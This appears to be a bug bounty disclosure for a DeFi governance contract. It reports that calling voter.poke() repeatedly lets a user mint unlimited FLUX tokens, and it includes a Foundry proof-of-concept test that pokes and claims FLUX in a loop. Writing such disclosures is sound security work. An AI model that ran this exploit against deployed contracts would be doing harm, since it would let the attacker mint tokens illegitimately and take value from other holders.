Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A user can mint infinite FLUX token by simply calling voter.poke() as many times as they want. Each time poke() is called, it subsequently calls _vote() which calls FLUX.accrueFlux(), allowing a user to mint at will.
Vulnerability Details
A user accrues FLUX through voting and resetting their token after each voting epoch. Quite simply, a user can use the voter.poke() function as many times as possible to accrue infinite unclaimed FLUX, and then claim the FLUX in the FluxToken.sol contract.
function poke(uint256 _tokenId) public {
/...
_vote(_tokenId, _poolVote, _weights, _boost);
}
function testAccrueFluxByPoke() public {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
hevm.startPrank(admin);
uint256 claimedBalance = flux.balanceOf(admin);
uint256 unclaimedBalance = flux.getUnclaimedFlux(tokenId);
assertEq(claimedBalance, 0);
assertEq(unclaimedBalance, 0);
voter.reset(tokenId);
unclaimedBalance = flux.getUnclaimedFlux(tokenId);
uint256 fluxEachEpoch = veALCX.claimableFlux(tokenId);
// Claimed balance is equal to the amount able to be claimed
assertEq(unclaimedBalance, veALCX.claimableFlux(tokenId));
hevm.warp(block.timestamp + nextEpoch);
voter.reset(tokenId);
// Add this voting periods claimable flux to the unclaimed balance
unclaimedBalance += veALCX.claimableFlux(tokenId);
// The unclaimed balance should equal the total amount of unclaimed flux
assertEq(unclaimedBalance, flux.getUnclaimedFlux(tokenId));
// maliciously poke 10 times
for (uint256 i = 0; i < 10; i++) {
voter.poke(tokenId);
flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
console.log("FLUX Balance %s", flux.balanceOf(admin));
}
hevm.stopPrank();
}